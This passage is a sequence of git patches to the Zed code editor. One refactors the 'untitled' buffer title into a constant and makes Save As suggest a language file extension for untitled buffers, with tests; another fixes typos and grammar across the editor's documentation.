     #[test]
     fn test_extract_subtest_name() {
         // Interpreted string literal

From 385e9c68ae4a068361417ec1aa55e5f727f615fa Mon Sep 17 00:00:00 2001
From: Guilherme Tavares <95603984+tavaresgmg@users.noreply.github.com>
Date: Wed, 8 Jul 2026 09:29:04 -0300
Subject: [PATCH 329/772] Suggest language extensions for untitled buffers
 (#55263)

Fixes #53527.

## Summary

- Suggest `untitled.<extension>` when saving an untitled editor buffer
with a selected non-Plain Text language.
- Preserve the existing title-based suggestion for existing files, Plain
Text buffers, and buffers without a language extension.
- Add a regression test for an untitled Rust buffer suggesting
`untitled.rs`.

## Testing

- `mise exec rust@1.95.0 -- cargo fmt --check -p editor`
- `mise exec rust@1.95.0 -- cargo test -p editor
test_suggested_filename_uses_language_extension_for_untitled_buffer
--lib`

## Suggested .rules additions

None.

Release Notes:

- Fixed Save As suggestions for untitled buffers with a selected
language.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/acp_thread/src/diff.rs                 |   4 +-
 crates/agent_ui/src/diagnostics.rs            |   3 +-
 .../src/rate_prediction_modal.rs              |   9 +-
 crates/editor/src/edit_prediction.rs          |   4 +-
 crates/editor/src/editor.rs                   |   2 +-
 crates/editor/src/element/header.rs           |   4 +-
 crates/editor/src/items.rs                    | 110 +++++++++++++++++-
 crates/git_ui/src/file_diff_view.rs           |   4 +-
 crates/git_ui/src/multi_diff_view.rs          |   4 +-
 crates/git_ui/src/text_diff_view.rs           |   2 +-
 crates/multi_buffer/src/multi_buffer.rs       |   5 +-
 11 files changed, 129 insertions(+), 22 deletions(-)

diff --git a/crates/acp_thread/src/diff.rs b/crates/acp_thread/src/diff.rs
index d297b5fa98f513..0834d7eabbab84 100644
--- a/crates/acp_thread/src/diff.rs
+++ b/crates/acp_thread/src/diff.rs
@@ -177,7 +177,7 @@ impl Diff {
         };
         format!(
             "Diff: {}\n```\n{}\n```\n",
-            path.unwrap_or("untitled".into()),
+            path.unwrap_or(MultiBuffer::DEFAULT_TITLE.into()),
             buffer_text
         )
     }
@@ -260,7 +260,7 @@ impl PendingDiff {
         let path = new_buffer
             .file()
             .map(|file| file.path().display(file.path_style(cx)))
-            .unwrap_or("untitled".into())
+            .unwrap_or(MultiBuffer::DEFAULT_TITLE.into())
             .into();
         let replica_id = new_buffer.replica_id();
 
diff --git a/crates/agent_ui/src/diagnostics.rs b/crates/agent_ui/src/diagnostics.rs
index 5a2423cae65aad..75c21d68b751cc 100644
--- a/crates/agent_ui/src/diagnostics.rs
+++ b/crates/agent_ui/src/diagnostics.rs
@@ -1,6 +1,7 @@
 use anyhow::Result;
 use gpui::{App, AppContext as _, Entity, Task};
 use language::{Anchor, BufferSnapshot, DiagnosticEntryRef, DiagnosticSeverity, ToOffset};
+use multi_buffer::MultiBuffer;
 use project::{DiagnosticSummary, Project};
 use rope::Point;
 use std::{fmt::Write, ops::RangeInclusive, path::Path};
@@ -22,7 +23,7 @@ pub fn codeblock_fence_for_path(
 
         write!(text, "{path}").unwrap();
     } else {
-        write!(text, "untitled").unwrap();
+        write!(text, "{}", MultiBuffer::DEFAULT_TITLE).unwrap();
     }
 
     if let Some(row_range) = row_range {
diff --git a/crates/edit_prediction_ui/src/rate_prediction_modal.rs b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
index 0dc4c1aaf29755..e9d36860852b7d 100644
--- a/crates/edit_prediction_ui/src/rate_prediction_modal.rs
+++ b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
@@ -1253,11 +1253,10 @@ impl RatePredictionsModal {
                 };
 
                 let file = completion.buffer.read(cx).file();
-                let file_name = file
-                    .as_ref()
-                    .map_or(SharedString::new_static("untitled"), |file| {
-                        file.file_name(cx).to_string().into()
-                    });
+                let file_name = file.as_ref().map_or(
+                    SharedString::new_static(MultiBuffer::DEFAULT_TITLE),
+                    |file| file.file_name(cx).to_string().into(),
+                );
                 let file_path = file.map(|file| file.path().as_unix_str().to_string());
 
                 ListItem::new(completion.id.clone())
diff --git a/crates/editor/src/edit_prediction.rs b/crates/editor/src/edit_prediction.rs
index 43e9b2ff375a37..5d110eb3ce12dc 100644
--- a/crates/editor/src/edit_prediction.rs
+++ b/crates/editor/src/edit_prediction.rs
@@ -2295,7 +2295,7 @@ impl Editor {
         let file_name = snapshot
             .file()
             .map(|file| SharedString::new(file.file_name(cx)))
-            .unwrap_or(SharedString::new_static("untitled"));
+            .unwrap_or(SharedString::new_static(MultiBuffer::DEFAULT_TITLE));
 
         h_flex()
             .id("ep-jump-outside-popover")
@@ -2429,7 +2429,7 @@ impl Editor {
                 let file_name = snapshot
                     .file()
                     .map(|file| file.file_name(cx))
-                    .unwrap_or("untitled");
+                    .unwrap_or(MultiBuffer::DEFAULT_TITLE);
                 Some(
                     h_flex()
                         .px_2()
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 73a0c3ebfddd10..96567329721a9b 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -10896,7 +10896,7 @@ impl Editor {
                         if multibuffer.is_singleton() {
                             multibuffer.title(cx).to_string()
                         } else {
-                            "untitled".to_string()
+                            MultiBuffer::DEFAULT_TITLE.to_string()
                         }
                     })
             });
diff --git a/crates/editor/src/element/header.rs b/crates/editor/src/element/header.rs
index a6611b0c90ad56..0ba76a137617fe 100644
--- a/crates/editor/src/element/header.rs
+++ b/crates/editor/src/element/header.rs
@@ -12,7 +12,7 @@ use gpui::{
     linear_color_stop, linear_gradient, point, px, size,
 };
 use language::language_settings::ShowWhitespaceSetting;
-use multi_buffer::{Anchor, ExcerptBoundaryInfo};
+use multi_buffer::{Anchor, ExcerptBoundaryInfo, MultiBuffer};
 use project::Entry;
 use settings::{RelativeLineNumbers, Settings};
 use smallvec::SmallVec;
@@ -821,7 +821,7 @@ pub(crate) fn render_buffer_header(
                             |path_header| {
                                 let filename = filename
                                     .map(SharedString::from)
-                                    .unwrap_or_else(|| "untitled".into());
+                                    .unwrap_or_else(|| MultiBuffer::DEFAULT_TITLE.into());
 
                                 let full_path = match parent_path.as_deref() {
                                     Some(parent) if !parent.is_empty() => {
diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index f61546e289a7db..4e97c8c3fe3552 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -18,8 +18,8 @@ use gpui::{
     IntoElement, ParentElement, Pixels, SharedString, Styled, Task, WeakEntity, Window, point,
 };
 use language::{
-    Bias, Buffer, BufferRow, CharKind, CharScopeContext, HighlightedText, LocalFile, Point,
-    SelectionGoal, proto::serialize_anchor as serialize_text_anchor,
+    Bias, Buffer, BufferRow, CharKind, CharScopeContext, HighlightedText, LocalFile, PLAIN_TEXT,
+    Point, SelectionGoal, proto::serialize_anchor as serialize_text_anchor,
 };
 use lsp::DiagnosticSeverity;
 use multi_buffer::{BufferOffset, MultiBufferOffset, PathKey};
@@ -717,7 +717,22 @@ impl Item for Editor {
     }
 
     fn suggested_filename(&self, cx: &App) -> SharedString {
-        self.buffer.read(cx).title(cx).to_string().into()
+        let multi_buffer = self.buffer.read(cx);
+        let title = multi_buffer.title(cx);
+        if let Some(buffer) = multi_buffer.as_singleton() {
+            let buffer = buffer.read(cx);
+            if buffer.file().is_none()
+                && let Some(language) = buffer.language()
+                && *language != *PLAIN_TEXT
+                && let Some(suffix) = language.path_suffixes().first()
+                && !suffix.is_empty()
+                && !title.ends_with(&format!(".{suffix}"))
+            {
+                return format!("{title}.{suffix}").into();
+            }
+        }
+
+        title.to_string().into()
     }
 
     fn tab_icon(&self, _: &Window, cx: &App) -> Option<Icon> {
@@ -2386,6 +2401,95 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    async fn test_suggested_filename_uses_language_extension_for_untitled_buffer(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let buffer = cx.update(|cx| {
+            cx.new(|cx| Buffer::local("", cx).with_language(languages::rust_lang(), cx))
+        });
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, None, window, cx));
+
+        editor.read_with(cx, |editor, cx| {
+            assert_eq!(editor.suggested_filename(cx).as_ref(), "untitled.rs");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_suggested_filename_appends_extension_to_content_title(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let buffer = cx.update(|cx| {
+            cx.new(|cx| {
+                Buffer::local("sadsdsads\nmore text", cx).with_language(languages::rust_lang(), cx)
+            })
+        });
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, None, window, cx));
+
+        editor.read_with(cx, |editor, cx| {
+            assert_eq!(editor.tab_content_text(0, cx).as_ref(), "sadsdsads");
+            assert_eq!(editor.suggested_filename(cx).as_ref(), "sadsdsads.rs");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_suggested_filename_does_not_duplicate_extension(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |_| {});
+
+        let buffer = cx.update(|cx| {
+            cx.new(|cx| {
+                Buffer::local("main.rs\nfn main() {}", cx).with_language(languages::rust_lang(), cx)
+            })
+        });
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, None, window, cx));
+
+        editor.read_with(cx, |editor, cx| {
+            assert_eq!(editor.suggested_filename(cx).as_ref(), "main.rs");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_suggested_filename_keeps_content_title_for_plain_text(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let buffer = cx.update(|cx| {
+            cx.new(|cx| {
+                Buffer::local("shopping list\nmilk", cx)
+                    .with_language(language::PLAIN_TEXT.clone(), cx)
+            })
+        });
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, None, window, cx));
+
+        editor.read_with(cx, |editor, cx| {
+            assert_eq!(editor.suggested_filename(cx).as_ref(), "shopping list");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_suggested_filename_keeps_content_title_without_language(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        let buffer = cx.update(|cx| cx.new(|cx| Buffer::local("shopping list\nmilk", cx)));
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, None, window, cx));
+
+        editor.read_with(cx, |editor, cx| {
+            assert_eq!(editor.suggested_filename(cx).as_ref(), "shopping list");
+        });
+    }
+
     async fn deserialize_editor(
         item_id: ItemId,
         workspace_id: WorkspaceId,
diff --git a/crates/git_ui/src/file_diff_view.rs b/crates/git_ui/src/file_diff_view.rs
index b046380b28ae40..a8159566da4d90 100644
--- a/crates/git_ui/src/file_diff_view.rs
+++ b/crates/git_ui/src/file_diff_view.rs
@@ -236,7 +236,7 @@ impl Item for FileDiffView {
                             .to_string(),
                     )
                 })
-                .unwrap_or_else(|| "untitled".into())
+                .unwrap_or_else(|| MultiBuffer::DEFAULT_TITLE.into())
         };
         let old_filename = title_text(&self.old_buffer);
         let new_filename = title_text(&self.new_buffer);
@@ -250,7 +250,7 @@ impl Item for FileDiffView {
                 .read(cx)
                 .file()
                 .map(|file| file.full_path(cx).compact().to_string_lossy().into_owned())
-                .unwrap_or_else(|| "untitled".into())
+                .unwrap_or_else(|| MultiBuffer::DEFAULT_TITLE.into())
         };
         let old_path = path(&self.old_buffer);
         let new_path = path(&self.new_buffer);
diff --git a/crates/git_ui/src/multi_diff_view.rs b/crates/git_ui/src/multi_diff_view.rs
index 7bf7682938ca56..47bf5a2b727a44 100644
--- a/crates/git_ui/src/multi_diff_view.rs
+++ b/crates/git_ui/src/multi_diff_view.rs
@@ -94,7 +94,7 @@ fn register_entry(
             RelPath::new(rel, PathStyle::local())
                 .map(|r| r.into_owned().into())
                 .unwrap_or_else(|_| {
-                    RelPath::new(Path::new("untitled"), PathStyle::Posix)
+                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Posix)
                         .unwrap()
                         .into_owned()
                         .into()
@@ -108,7 +108,7 @@ fn register_entry(
                 .and_then(|s| RelPath::new(Path::new(s), PathStyle::Posix).ok())
                 .map(|r| r.into_owned().into())
                 .unwrap_or_else(|| {
-                    RelPath::new(Path::new("untitled"), PathStyle::Posix)
+                    RelPath::new(Path::new(MultiBuffer::DEFAULT_TITLE), PathStyle::Posix)
                         .unwrap()
                         .into_owned()
                         .into()
diff --git a/crates/git_ui/src/text_diff_view.rs b/crates/git_ui/src/text_diff_view.rs
index 991ebf2125243e..c9cf6b5f537915 100644
--- a/crates/git_ui/src/text_diff_view.rs
+++ b/crates/git_ui/src/text_diff_view.rs
@@ -218,7 +218,7 @@ impl TextDiffView {
                     .file()
                     .map(|f| f.full_path(cx).compact().to_string_lossy().into_owned())
             })
-            .unwrap_or("untitled".into());
+            .unwrap_or(MultiBuffer::DEFAULT_TITLE.into());
 
         let selection_location_path = selection_location_text
             .map(|text| format!("{} @ {}", path, text))
diff --git a/crates/multi_buffer/src/multi_buffer.rs b/crates/multi_buffer/src/multi_buffer.rs
index 805ffc73550a60..e233f393b2949c 100644
--- a/crates/multi_buffer/src/multi_buffer.rs
+++ b/crates/multi_buffer/src/multi_buffer.rs
@@ -2114,6 +2114,9 @@ impl MultiBuffer {
         self.title.as_deref()
     }
 
+    /// The title used for buffers not backed by a file and with no title of their own.
+    pub const DEFAULT_TITLE: &str = "untitled";
+
     pub fn title<'a>(&'a self, cx: &'a App) -> Cow<'a, str> {
         if let Some(title) = self.title.as_ref() {
             return title.into();
@@ -2131,7 +2134,7 @@ impl MultiBuffer {
             }
         };
 
-        "untitled".into()
+        Self::DEFAULT_TITLE.into()
     }
 
     fn buffer_content_title(&self, buffer: &Buffer) -> Option<Cow<'_, str>> {

From ded93ccb085d9271c7820abc8c39b9a0a04b5d16 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Wed, 8 Jul 2026 06:32:00 -0600
Subject: [PATCH 330/772] Fix typos and grammatical mistakes in docs (#59495)

# Objective

- Describe the objective or issue this PR addresses. -> ** Typo and
grammar fixes!**

## Solution


## Testing

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

---

Release Notes:

- N/A
---
 docs/src/ai/edit-prediction.md               |  2 +-
 docs/src/ai/mcp.md                           |  2 +-
 docs/src/ai/parallel-agents.md               |  2 +-
 docs/src/authentication.md                   |  2 +-
 docs/src/command-palette.md                  |  2 +-
 docs/src/configuring-languages.md            |  2 +-
 docs/src/debugger.md                         |  2 +-
 docs/src/development/glossary.md             |  2 +-
 docs/src/diagnostics.md                      |  4 ++--
 docs/src/environment.md                      |  2 +-
 docs/src/extensions/debugger-extensions.md   |  2 +-
 docs/src/extensions/developing-extensions.md | 12 ++++++------
 docs/src/git.md                              |  4 ++--
 docs/src/languages/ansible.md                |  2 +-
 docs/src/languages/cpp.md                    |  2 +-
 docs/src/languages/elixir.md                 |  2 +-
 docs/src/languages/java.md                   |  2 +-
 docs/src/languages/javascript.md             |  2 +-
 docs/src/languages/json.md                   |  2 +-
 docs/src/languages/powershell.md             |  4 ++--
 docs/src/languages/python.md                 |  2 +-
 docs/src/languages/rust.md                   |  4 ++--
 docs/src/languages/typescript.md             |  4 ++--
 docs/src/linux.md                            |  2 +-
 docs/src/performance.md                      |  8 ++++----
 docs/src/project-panel.md                    |  2 +-
 docs/src/reference/all-settings.md           |  8 ++++----
 docs/src/remote-development.md               |  4 ++--
 docs/src/repl.md                             |  4 ++--
 docs/src/vim.md                              | 10 +++++-----
 docs/src/worktree-trust.md                   |  2 +-
 31 files changed, 53 insertions(+), 53 deletions(-)

diff --git a/docs/src/ai/edit-prediction.md b/docs/src/ai/edit-prediction.md
index 297e3c32c71ba6..00e94b0b07f61c 100644
--- a/docs/src/ai/edit-prediction.md
+++ b/docs/src/ai/edit-prediction.md
@@ -41,7 +41,7 @@ The free plan includes 2,000 Zeta predictions per month. The [Pro plan](../accou
 
 Edit Prediction has two display modes:
 
-1. `eager` (default): predictions are displayed inline as long as it doesn't conflict with language server completions
+1. `eager` (default): predictions are displayed inline as long as they don't conflict with language server completions
 2. `subtle`: predictions only appear inline when holding a modifier key (`alt` by default)
 
 Toggle between them via the `mode` key:
diff --git a/docs/src/ai/mcp.md b/docs/src/ai/mcp.md
index 777fd0e9b085be..89d7beac865006 100644
--- a/docs/src/ai/mcp.md
+++ b/docs/src/ai/mcp.md
@@ -80,7 +80,7 @@ You can connect both local and remote MCP servers from **Settings → AI → MCP
 
 Most MCP servers require configuration after installation.
 
-In the case of extensions, after installing it, Zed will pop up a modal displaying what is required for you to properly set it up.
+In the case of an extension, after installing it, Zed will pop up a modal displaying what is required for you to properly set it up.
 For example, the GitHub MCP extension requires you to add a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens).
 
 In the case of custom servers, make sure you check the provider documentation to determine what type of command, arguments, and environment variables need to be added to the JSON.
diff --git a/docs/src/ai/parallel-agents.md b/docs/src/ai/parallel-agents.md
index aef97e37f5ade2..70f0ff4f93835d 100644
--- a/docs/src/ai/parallel-agents.md
+++ b/docs/src/ai/parallel-agents.md
@@ -81,7 +81,7 @@ Worktrees are managed from the title bar. Click the worktree picker (to the righ
 
 Once you're in a new worktree, use the branch picker next to the worktree picker to create a new branch or check out an existing one. If the branch you pick is already checked out in another worktree, the current worktree stays in detached HEAD until you choose a different branch.
 
-To automate setup steps whenever a new worktree is created use a [Task hook](../tasks.md#hooks). The `create_worktree` hook runs automatically after Zed creates a linked worktree, with `ZED_WORKTREE_ROOT` pointing at the new worktree and `ZED_MAIN_GIT_WORKTREE` pointing at the original repository.
+To automate setup steps whenever a new worktree is created, use a [Task hook](../tasks.md#hooks). The `create_worktree` hook runs automatically after Zed creates a linked worktree, with `ZED_WORKTREE_ROOT` pointing at the new worktree and `ZED_MAIN_GIT_WORKTREE` pointing at the original repository.
 
 After the agent finishes, review the diff and merge the changes through your normal Git workflow. If the thread was running in a linked worktree and no other active threads use it, moving the thread to Thread History saves the worktree's Git state and removes it from disk. Restoring the thread from history restores the worktree.
 
diff --git a/docs/src/authentication.md b/docs/src/authentication.md
index 8d0b0b7c0dce7a..2565afc2ddfbe3 100644
--- a/docs/src/authentication.md
+++ b/docs/src/authentication.md
@@ -38,5 +38,5 @@ Stripe is used for billing, and will use your Zed account's email address when s
 
 ## Hiding Sign In button from the interface
 
-In case the Sign In feature is not used, it's possible to hide that from the interface by using `show_sign_in` settings property.
+In case the Sign In feature is not used, it's possible to hide that from the interface by using the `show_sign_in` settings property.
 Refer to [Visual Customization page](./visual-customization.md) for more details.
diff --git a/docs/src/command-palette.md b/docs/src/command-palette.md
index cff57ca2c0655e..789e463d9c31da 100644
--- a/docs/src/command-palette.md
+++ b/docs/src/command-palette.md
@@ -11,4 +11,4 @@ The Command Palette is the main way to access actions in Zed. Its keybinding is
 
 To try it, open the Command Palette and type `new file`. The command list should narrow to {#action workspace::NewFile}. Press Return to create a new buffer.
 
-Any time you see instructions that include commands of the form `zed: ...` or `editor: ...` and so on that means you need to execute them in the Command Palette.
+Any time you see instructions that include commands of the form `zed: ...` or `editor: ...` and so on, it means you need to execute them in the Command Palette.
diff --git a/docs/src/configuring-languages.md b/docs/src/configuring-languages.md
index 5113453a7ba8d1..835fcd789d4d8b 100644
--- a/docs/src/configuring-languages.md
+++ b/docs/src/configuring-languages.md
@@ -214,7 +214,7 @@ Here's how you would structure these settings in Zed's `settings.json`:
 
 #### Possible configuration options
 
-Depending on how a particular language server is implemented, they may depend on different configuration options, both specified in the LSP.
+Language servers may use different configuration options depending on the implementation.
 
 - [initializationOptions](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#version_3_17_0)
 
diff --git a/docs/src/debugger.md b/docs/src/debugger.md
index b503ff09849fc2..4c7c21e5e386e3 100644
--- a/docs/src/debugger.md
+++ b/docs/src/debugger.md
@@ -74,7 +74,7 @@ Populate this file with the same array of objects you would place in `.zed/debug
 
 ### Launching & Attaching
 
-Zed debugger offers two ways to debug your program; you can either _launch_ a new instance of your program or _attach_ to an existing process.
+The Zed debugger offers two ways to debug your program; you can either _launch_ a new instance of your program or _attach_ to an existing process.
 Which one you choose depends on what you are trying to achieve.
 
 When launching a new instance, Zed (and the underlying debug adapter) can often do a better job at picking up the debug information compared to attaching to an existing process, since it controls the lifetime of a whole program.
diff --git a/docs/src/development/glossary.md b/docs/src/development/glossary.md
index 4e14aceba40005..4b57a30d5bafad 100644
--- a/docs/src/development/glossary.md
+++ b/docs/src/development/glossary.md
@@ -113,7 +113,7 @@ h_flex()
 
 - `DapStore`: Is an entity that manages debugger sessions
 - `debugger::Session`: An entity that manages the lifecycle of a debug session and communication with DAPs.
-- `BreakpointStore`: Is an entity that manages breakpoints states in local and remote instances of Zed
+- `BreakpointStore`: Is an entity that manages breakpoint states in local and remote instances of Zed
 - `DebugSession`: Manages a debug session's UI and running state
 - `RunningState`: Directly manages all the views of a debug session
 - `VariableList`: The variable and watch list view of a debug session
diff --git a/docs/src/diagnostics.md b/docs/src/diagnostics.md
index 5c019ecac36dd9..7af28e062c5c7f 100644
--- a/docs/src/diagnostics.md
+++ b/docs/src/diagnostics.md
@@ -29,12 +29,12 @@ The scrollbar ones are configured with the
 
 configuration (possible values: `"none"`, `"error"`, `"warning"`, `"information"`, `"all"` (default))
 
-The diagnostics could be hovered to display a tooltip with full, rendered diagnostic message.
+The diagnostics could be hovered to display a tooltip with a full, rendered diagnostic message.
 Or, `editor::GoToDiagnostic` and `editor::GoToPreviousDiagnostic` could be used to navigate between diagnostics in the editor, showing a popover for the currently active diagnostic.
 
 # Inline diagnostics (Error lens)
 
-Zed supports showing diagnostic as lens to the right of the code.
+Zed supports showing diagnostics as a lens to the right of the code.
 This is disabled by default, but can either be temporarily turned on (or off) using the editor menu, or permanently, using the
 
 ```json [settings]
diff --git a/docs/src/environment.md b/docs/src/environment.md
index bc39c00fdd0b64..538134694ac1f5 100644
--- a/docs/src/environment.md
+++ b/docs/src/environment.md
@@ -89,7 +89,7 @@ For this look-up, Zed uses the following environment:
 
 ### Language servers
 
-After looking up a language server, Zed starts them.
+After looking up a language server, Zed starts it.
 
 These language server processes always inherit Zed's process environment. But, depending on the language server look-up, additional environment variables might be set or overwrite the process environment.
 
diff --git a/docs/src/extensions/debugger-extensions.md b/docs/src/extensions/debugger-extensions.md
index 57b98234406662..08d95119077c6f 100644
--- a/docs/src/extensions/debugger-extensions.md
+++ b/docs/src/extensions/debugger-extensions.md
@@ -81,7 +81,7 @@ Your extension can define one or more debug locators. Each debug locator must be
 ```
 
 Locators have two components.
-First, each locator is ran on each available task to figure out if any of the available locators can provide a debug scenario for a given task. This is done by calling `dap_locator_create_scenario`.
+First, each locator is run on each available task to figure out if any of the available locators can provide a debug scenario for a given task. This is done by calling `dap_locator_create_scenario`.
 
 ```rust
 impl zed::Extension for MyExtension {
diff --git a/docs/src/extensions/developing-extensions.md b/docs/src/extensions/developing-extensions.md
index d341684f89cb78..13dfa2a4aaf772 100644
--- a/docs/src/extensions/developing-extensions.md
+++ b/docs/src/extensions/developing-extensions.md
@@ -68,7 +68,7 @@ my-extension/
 
 ## Rust and WebAssembly
 
-> Please note that most extensions will work properly without any Rust code present. In particular, only language server, context server and debugger extensions require the presence custom Rust in order to function properly.
+> Please note that most extensions will work properly without any Rust code present. In particular, only language server, context server and debugger extensions require the presence of custom Rust in order to function properly.
 
 Procedural parts of extensions are written in Rust and compiled to WebAssembly. To develop an extension that includes custom code, include a `Cargo.toml` like this:
 
@@ -103,7 +103,7 @@ impl zed::Extension for MyExtension {
 zed::register_extension!(MyExtension);
 ```
 
-> Since your extension will be compiled to WebAssembly, some Rust features might not work like you would expect them to. For example, `cfg` - directives will not work and `std::env::var` will also not yield the expected results. Instead, use the [`zed_extension_api::current_platform`](https://docs.rs/zed_extension_api/latest/zed_extension_api/fn.current_platform.html) method to get information about the current environment and familiarize yourself with the [`Worktree` struct and its methods](https://docs.rs/zed_extension_api/latest/zed_extension_api/struct.Worktree.html) for reading environment variables and finding binaries in the users `PATH`.
+> Since your extension will be compiled to WebAssembly, some Rust features might not work like you would expect them to. For example, `cfg` - directives will not work and `std::env::var` will also not yield the expected results. Instead, use the [`zed_extension_api::current_platform`](https://docs.rs/zed_extension_api/latest/zed_extension_api/fn.current_platform.html) method to get information about the current environment and familiarize yourself with the [`Worktree` struct and its methods](https://docs.rs/zed_extension_api/latest/zed_extension_api/struct.Worktree.html) for reading environment variables and finding binaries in the user's `PATH`.
 
 ### Debugging your Rust extension
 
@@ -158,15 +158,15 @@ Also, ensure that you have filled out all the required fields in the manifest.
 Furthermore, please make sure that your extension fulfills the following preconditions before you move on to publishing your extension:
 
 - Extension IDs and names must not contain the words `zed`, `Zed` or `extension`, since they are all Zed extensions.
-- Your extension ID should provide some information on what your extension tries to accomplish. E.g. for themes, it should be suffixed with `-theme`, snippet extensions should be suffixed with `-snippets` and so on. An exception to that rule are extension that provide support for languages or popular tooling that people would expect to find under that ID. You can take a look at the list of [existing extensions](https://github.com/zed-industries/extensions/blob/main/extensions.toml) to get a grasp on how this usually is enforced.
+- Your extension ID should provide some information on what your extension tries to accomplish. E.g. for themes, it should be suffixed with `-theme`, snippet extensions should be suffixed with `-snippets` and so on. An exception to that rule is an extension that provides support for languages or popular tooling that people would expect to find under that ID. You can take a look at the list of [existing extensions](https://github.com/zed-industries/extensions/blob/main/extensions.toml) to get a grasp on how this usually is enforced.
 - Your extension must only include the resources it requires to function and nothing else.
   - See the [directory structure of a Zed extension](#directory-structure-of-a-zed-extension) and the [Rust and WebAssembly](#rust-and-webassembly) sections for more information.
 - Extensions must in no way attempt to read nor modify the environment outside of the environment designated to them by Zed. Should they need to read the environment, they should use methods as provided by the [Zed Rust Extension API](https://docs.rs/zed_extension_api/latest/zed_extension_api/) and may fall back to appropriate methods from the Rust standard library. Should they need changes to the environment, they must instead ask the user to perform these for them using an appropriate method within the context (e.g. provide information for doing so using the `ContextServerConfiguration` for context servers).
   - Please make sure to have read the [Rust and WebAssembly section above](#rust-and-webassembly) for more information and help regarding this topic.
 - Extensions should provide something that is not yet available in the marketplace as opposed to fixing something that could be resolved within an existing extension. For example, if you find that an existing extension's support for a language server is not functioning properly, first try contributing a fix to the existing extension as opposed to submitting a new extension immediately.
   - If you receive no response or reaction within the upstream repository within a reasonable amount of time, feel free to submit a pull request that aims to fix said issue. Please ensure that you provide your previous efforts within the pull request to the extensions repository for adding your extension. Zed maintainers will then decide on how to proceed on a case by case basis.
-- Extensions that intend to provide a language, debugger or MCP server must not ship the language server as part of the extension. Instead, the extension should either download the language server or check for the availability of the language server in the users environment using the APIs as provided by the [Zed Rust Extension API](https://docs.rs/zed_extension_api/latest/zed_extension_api/).
-- Themes and icon themes should not be published as part of extensions that provide other features, e.g. language support. Instead, they should be published as a distinct extension. This also applies to theme and icon themes living in the same repository.
+- Extensions that intend to provide a language, debugger or MCP server must not ship the language server as part of the extension. Instead, the extension should either download the language server or check for the availability of the language server in the user's environment using the APIs as provided by the [Zed Rust Extension API](https://docs.rs/zed_extension_api/latest/zed_extension_api/).
+- Themes and icon themes should not be published as part of extensions that provide other features, e.g. language support. Instead, they should be published as a distinct extension. This also applies to themes and icon themes living in the same repository.
 
 Non-compliance with these rules will be raised during the publishing process by reviewers. If you fail to comply with the laid out guidelines, the publishing of your extension will either be delayed or rejected.
 
@@ -185,7 +185,7 @@ git submodule add https://github.com/your-username/foobar-zed.git extensions/my-
 git add extensions/my-extension
 ```
 
-> All extension submodules must use HTTPS URLs and not SSH URLS (`git@github.com`). Furthermore, your extension repository must be publicly available and the checked out submodule commit must be on a branch and thus not be detached commit.
+> All extension submodules must use HTTPS URLs and not SSH URLS (`git@github.com`). Furthermore, your extension repository must be publicly available and the checked out submodule commit must be on a branch and thus not be a detached commit.
 
 2. Add a new entry to the top-level `extensions.toml` file containing your extension:
 
diff --git a/docs/src/git.md b/docs/src/git.md
index 68514d44092d0c..07f2a00556e867 100644
--- a/docs/src/git.md
+++ b/docs/src/git.md
@@ -293,7 +293,7 @@ See [Feature-specific models](./ai/agent-settings.md#feature-specific-models) fo
 }
 ```
 
-To add custom commit instructions for the model, use the global `AGENTS.md` file located `~/.config/zed/AGENTS.md` on macOS and Linux, `%APPDATA%\Zed\AGENTS.md` on Windows.
+To add custom commit instructions for the model, use the global `AGENTS.md` file located at `~/.config/zed/AGENTS.md` on macOS and Linux, `%APPDATA%\Zed\AGENTS.md` on Windows.
 
 To add custom instructions that apply only to commit message generation, use the `commit_message_instructions` field in your agent settings:
 
@@ -305,7 +305,7 @@ To add custom instructions that apply only to commit message generation, use the
 }
 ```
 
-These instructions are sent to the model in addition to any instruction files, such as `.rules` or `AGENTS.md`. To add instructions that apply to both commit messages and the agent more broadly, use the global `AGENTS.md` file located `~/.config/zed/AGENTS.md` on macOS and Linux, `%APPDATA%\Zed\AGENTS.md` on Windows.
+These instructions are sent to the model in addition to any instruction files, such as `.rules` or `AGENTS.md`. To add instructions that apply to both commit messages and the agent more broadly, use the global `AGENTS.md` file located at `~/.config/zed/AGENTS.md` on macOS and Linux, `%APPDATA%\Zed\AGENTS.md` on Windows.
 
